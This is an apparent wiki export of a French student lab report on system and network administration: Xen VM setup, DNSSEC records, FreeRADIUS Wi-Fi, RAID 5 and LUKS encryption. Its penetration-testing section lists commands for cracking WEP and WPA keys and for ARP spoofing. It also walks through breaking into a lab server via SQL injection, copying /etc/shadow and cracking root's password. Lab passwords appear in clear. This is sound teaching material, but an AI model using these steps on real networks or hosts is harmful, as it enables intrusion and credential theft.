 belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=&lt;br /&gt;
 belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F&lt;br /&gt;
 belle-rose.site name server ns6.gandi.net.&lt;br /&gt;
 belle-rose.site name server ns1.belle-rose.site.&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==&lt;br /&gt;
 belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
 belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut&lt;br /&gt;
 belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=&lt;br /&gt;
 belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY&lt;br /&gt;
 belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=&lt;br /&gt;
 belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=&lt;br /&gt;
 belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800&lt;br /&gt;
&lt;br /&gt;
= Tests d'intrusion =&lt;br /&gt;
&lt;br /&gt;
== Exploitation de failles du système ==&lt;br /&gt;
&lt;br /&gt;
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. &amp;gt; https://github.com/mzet-/linux-exploit-suggester&lt;br /&gt;
&lt;br /&gt;
En suivant la documentation :&lt;br /&gt;
&lt;br /&gt;
 $ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh&lt;br /&gt;
 $ chmod +x les.sh &amp;amp;&amp;amp; ./les.sh&lt;br /&gt;
&lt;br /&gt;
On obtient les failles suivantes (audit réalisé sur notre VM) :&lt;br /&gt;
&lt;br /&gt;
 [+] [CVE-2021-27365] linux-iscsi&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2021-22555] Netfilter heap out-of-bounds write&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2019-13272] PTRACE_TRACEME&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
On trouve l'interface suivante :&lt;br /&gt;
&lt;br /&gt;
 wlx40a5ef0127d0&lt;br /&gt;
&lt;br /&gt;
On essaie de démarrer l'interface sur le channel 3 :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef0127d0 3&lt;br /&gt;
&lt;br /&gt;
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement &amp;quot;wlan0mon&amp;quot;. On ré-utilise la commande précédente avec le nouveau nom d'interface :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlan0mon 3&lt;br /&gt;
&lt;br /&gt;
On écoute ensuite tous les paquets dans l'air :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon&lt;br /&gt;
&lt;br /&gt;
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon&lt;br /&gt;
&lt;br /&gt;
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]&lt;br /&gt;
 Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
 $ airmon-ng start wlan0mon 9&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
On crée le dictionnaire contenant toutes les clefs à tester avec la commande &amp;lt;code&amp;gt;crunch&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 0123456789 -o dictionnaire.lst&lt;br /&gt;
&lt;br /&gt;
Pour savoir si un Handshake a été trouvé, on utilise la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng psk*.cap&lt;br /&gt;
&lt;br /&gt;
On trouve : &lt;br /&gt;
&lt;br /&gt;
 #  BSSID               ESSID        Encryption&lt;br /&gt;
 1  44:AD:D9:5F:87:05   kracotte06   WPA (1 handshake)&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer la commande de test des clefs :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap&lt;br /&gt;
&lt;br /&gt;
Après un peu d'attente, on obtient la clef suivante :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND! [ 59906999 ]&lt;br /&gt;
&lt;br /&gt;
== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ==&lt;br /&gt;
&lt;br /&gt;
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.&lt;br /&gt;
&lt;br /&gt;
On fait :&lt;br /&gt;
&lt;br /&gt;
 $ echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):&lt;br /&gt;
&lt;br /&gt;
 $ arpspoof -t 172.26.145.61 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.&lt;br /&gt;
&lt;br /&gt;
== Intrusion sur un serveur d’application Web ==&lt;br /&gt;
&lt;br /&gt;
Sur honey.plil.info : &lt;br /&gt;
&lt;br /&gt;
1. injection SQL&lt;br /&gt;
&lt;br /&gt;
2. connexion en tant qu'admin&lt;br /&gt;
&lt;br /&gt;
3. telechargement du fichier &amp;quot;config-db.php&amp;quot; (On remarque que il existe une BDD phpmyadmin) et &amp;quot;database.php&amp;quot; (ce fichier semble lui ne pas nous apporter d'informations)&lt;br /&gt;
&lt;br /&gt;
4. honey.plil.info/phpmyadmin -&amp;gt; connexion avec les logins trouvés dans le fichier &amp;quot;config-db.php&amp;quot; (phpmyadmin et gencovid19). On trouve alors une table &amp;quot;pma_users&amp;quot; indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).&lt;br /&gt;
&lt;br /&gt;
5. en essayant le mdp &amp;quot;gencovid19&amp;quot; avec ces identifiants sur phpmyadmin : on peut se connecter en tant que &amp;quot;root&amp;quot; sur la BDD et on trouve le mdp de rex dans la bdd &amp;quot;test&amp;quot; et table &amp;quot;users&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
6. connexion en ssh sur rex@honey.plil.info.&lt;br /&gt;
&lt;br /&gt;
7. comme indication : &amp;quot;le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets&amp;quot;. Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo =&amp;gt; bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :&lt;br /&gt;
&lt;br /&gt;
 $ crunch 4 4 abcdefghijklmnopqrstuvwxyz &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Et on double la taille des mots :&lt;br /&gt;
&lt;br /&gt;
 $ sed -i 's/\(.*\)/\1\1/' dico.txt&lt;br /&gt;
&lt;br /&gt;
On copie ensuite les fichiers &amp;quot;/etc/passwd&amp;quot; et &amp;quot;/etc/shadow&amp;quot; de rex@honey.plil.info sur notre zabeth. &lt;br /&gt;
&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/passwd .&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/shadow .&lt;br /&gt;
&lt;br /&gt;
On utilise alors l'utilitaire &amp;quot;shadow&amp;quot; pour obtenir un fichier contenant le mot de passe haché de root :&lt;br /&gt;
&lt;br /&gt;
 $ unshadow passwd shadow | head -1 &amp;gt; honey&lt;br /&gt;
&lt;br /&gt;
Puis on utilise &amp;quot;John the Ripper&amp;quot; pour cracker le mot de passe :&lt;br /&gt;
&lt;br /&gt;
 $ john -w:dico.txt honey&lt;br /&gt;
&lt;br /&gt;
Après quelques minutes, on peut afficher le mot de passe trouvé :&lt;br /&gt;
&lt;br /&gt;
 $ john --show honey&lt;br /&gt;
 root:fortfort:0:0:root:/root:/bin/bash&lt;br /&gt;
 1 password hash cracked, 0 left&lt;br /&gt;
&lt;br /&gt;
On trouve le mot de passe de root@honey.plil.info qui est &amp;quot;fortfort&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
= Point d'accès Wi-Fi authentifié via FreeRADIUS =&lt;br /&gt;
&lt;br /&gt;
== Configuration du point d'accès ==&lt;br /&gt;
&lt;br /&gt;
=== Point d'accès ===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il faut configurer l'authentification EAP dans la configuration :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  aaa new-model&lt;br /&gt;
  aaa authentication login eap_rose group radius_rose&lt;br /&gt;
  radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin&lt;br /&gt;
  aaa group server radius radius_rose&lt;br /&gt;
  server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Configurons le SSID :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  dot11 ssid SSID_ROSE&lt;br /&gt;
  vlan 5&lt;br /&gt;
   authentication open eap eap_rose&lt;br /&gt;
   authentication network-eap eap_rose&lt;br /&gt;
   authentication key-management wpa&lt;br /&gt;
   mbssid guest-mode&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On associe notre SSID à l'interface WIFI :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Dot11Radio0&lt;br /&gt;
   encryption vlan 5 mode ciphers aes-ccm tkip&lt;br /&gt;
   ssid SSID_ROSE&lt;br /&gt;
   mbssid&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On paramètre notre VLAN (5)&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
  &lt;br /&gt;
  interface Dot11Radio0.5&lt;br /&gt;
   encapsulation dot1Q 5&lt;br /&gt;
   no ip route-cache&lt;br /&gt;
   bridge-group 5&lt;br /&gt;
   bridge-group 5 subscriber-loop-control&lt;br /&gt;
   bridge-group 5 spanning-disabled&lt;br /&gt;
   bridge-group 5 block-unknown-source&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On configure l'interface filaire&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface GigabitEthernet0.5&lt;br /&gt;
  encapsulation dot1Q 5&lt;br /&gt;
  bridge-group 5&lt;br /&gt;
  exit&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Enfin, on configure l'IP de l'AP et sa gateway&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  ip default-gateway 10.1.0.1&lt;br /&gt;
  interface BVI 1&lt;br /&gt;
   ip address 10.1.0.3 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
=== Routeur ===&lt;br /&gt;
&lt;br /&gt;
Commençons par configurer le VLAN 1 &lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface vlan 1&lt;br /&gt;
   ip address 10.1.0.1 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Puis on configure le port (ici Gi1/0/3&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Gi1/0/3&lt;br /&gt;
   switchport&lt;br /&gt;
   switchport mode trunk&lt;br /&gt;
   switchport trunk allowed vlan add 1&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Et voilà mon grand&lt;br /&gt;
&lt;br /&gt;
== Serveur FreeRADIUS ==&lt;br /&gt;
&lt;br /&gt;
Installation de freeRADIUS&lt;br /&gt;
&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
On commence par configurer &amp;lt;code&amp;gt;/etc/freeradius/3.0/clients.conf&amp;lt;/code&amp;gt; à détailler&lt;br /&gt;
&lt;br /&gt;
 client zozo {&lt;br /&gt;
 	ipaddr = 10.1.0.3/24&lt;br /&gt;
 	secret = zinzin&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
ensuite &amp;lt;code&amp;gt;/etc/freeradius/3.0/eap.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 eap {&lt;br /&gt;
   [...]&lt;br /&gt;
   default_eap_type = peap&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
puis &amp;lt;code&amp;gt;/etc/freeradius/3.0/users&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [...]&lt;br /&gt;
 root Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug &amp;lt;code&amp;gt;freeradius -X&amp;lt;/code&amp;gt; (après avoir au préalable stoppé le processus)&lt;br /&gt;
&lt;br /&gt;
= Réalisations =&lt;br /&gt;
&lt;br /&gt;
== Sécurisation des données (RAID 5) ==&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin de 3 LV à rajouter à notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid1 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid2 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi les rajouter à la configuration de notre VM (&amp;lt;code&amp;gt;/etc/xen/Bellerose.cfg&amp;lt;/code&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid1,xvda5,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid2,xvda6,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid3,xvda7,w'&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.&lt;br /&gt;
&lt;br /&gt;
 $ apt install mdadm&lt;br /&gt;
&lt;br /&gt;
On va ensuite créer un disque nommé &amp;lt;code&amp;gt;/dev/md0&amp;lt;/code&amp;gt; grâce à &amp;lt;code&amp;gt;mdadm&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 $ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
On peut ainsi vérifier que notre RAID 5 est effectif :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk  [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk  /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk  /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk  /var&lt;br /&gt;
 xvda5 202:5    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda6 202:6    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda7 202:7    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
&lt;br /&gt;
Enfin il faut monter ce disque fraîchement créé :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/md0&lt;br /&gt;
 $ mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
on ajoute cette ligne dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /media/raid ext4 defaults 0 1&lt;br /&gt;
&lt;br /&gt;
puis&lt;br /&gt;
&lt;br /&gt;
 $ mount -a&lt;br /&gt;
&lt;br /&gt;
et toc&lt;br /&gt;
&lt;br /&gt;
== Chiffrement des données ==&lt;br /&gt;
&lt;br /&gt;
On branche la clé USB sur le petit PC bleu, et on lance &amp;lt;code&amp;gt;lsblk&amp;lt;/code&amp;gt; et on trouve :&lt;br /&gt;
&lt;br /&gt;
 NAME     MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 sda        8:0    1   7,2G  0 disk &lt;br /&gt;
&lt;br /&gt;
Donc on peut formater la clef qui contient déjà quelque chose dessus :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/sda&lt;br /&gt;
&lt;br /&gt;
Avec &amp;lt;code&amp;gt;cryptsetup&amp;lt;/code&amp;gt; on peut initialiser la clef et lui donner un mdp :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sda&lt;br /&gt;
&lt;br /&gt;
On crée une partition chiffrée sur la clé :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sda data&lt;br /&gt;
&lt;br /&gt;
Et on formate :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/data&lt;br /&gt;
&lt;br /&gt;
On monte cette partition pour lui permettre de contenir des fichiers :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/data-usb&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/data /mnt/data-usb&lt;br /&gt;
&lt;br /&gt;
On y ajoute donc un fichier de test :&lt;br /&gt;
&lt;br /&gt;
 $ touch /mnt/data-usb/boujour.txt&lt;br /&gt;
&lt;br /&gt;
Puis on démonte et on ferme le volume chiffré&lt;br /&gt;
&lt;br /&gt;
 $ umont /mnt/data-usb&lt;br /&gt;
 $ cryptsetup luksClose data&lt;br /&gt;
&lt;br /&gt;
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.&lt;/div&gt;</summary>
		<author><name>Bjacquot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57834</id>
		<title>TP sysres IMA5 2021/2022 G6</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57834"/>
				<updated>2022-01-11T14:36:24Z</updated>
		
		<summary type="html">&lt;p&gt;Bjacquot : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Réalisations=&lt;br /&gt;
&lt;br /&gt;
=Création de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :&lt;br /&gt;
&lt;br /&gt;
 $ export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
&lt;br /&gt;
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.&lt;br /&gt;
&lt;br /&gt;
 $ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose1 storage&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose2 storage&lt;br /&gt;
&lt;br /&gt;
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose1&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose2&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/xen/Bellerose.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose2,xvda4,w'&lt;br /&gt;
               ]&lt;br /&gt;
 vif         = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
On peut maintenant lancer notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ xl create -c /etc/xen/Bellerose.cfg&lt;br /&gt;
&lt;br /&gt;
Avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/xvda3&lt;br /&gt;
 $ mkdir /mnt/xvda4&lt;br /&gt;
 $ mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 $ mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis on déplace le répertoire var dans le disque xvda4 :&lt;br /&gt;
&lt;br /&gt;
 $ mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 # /home vers xvda3&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 # /var vers xvda4&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On monte le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin avec lsblk, on peut voir les deux partitions de notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 xvda3 202:3 0 10G 0 disk /home&lt;br /&gt;
 xvda4 202:4 0 10G 0 disk /var&lt;br /&gt;
&lt;br /&gt;
Enfin, nous activons l'IPv6 sur l'interface en modifiant &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
 &lt;br /&gt;
Pour quitter la VM : CTRL+]&lt;br /&gt;
&lt;br /&gt;
= Services Internet =&lt;br /&gt;
&lt;br /&gt;
== Serveur SSH ==&lt;br /&gt;
&lt;br /&gt;
 $ apt install openssh-server&lt;br /&gt;
&lt;br /&gt;
on édite le fichierde conf &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; (via ssh key) :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin without-password // je l'ai repassé en &amp;quot;yes&amp;quot; suite au mail et le mdp root est celui de pifou habituel &lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
après on reload la conf&lt;br /&gt;
&lt;br /&gt;
 $ systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
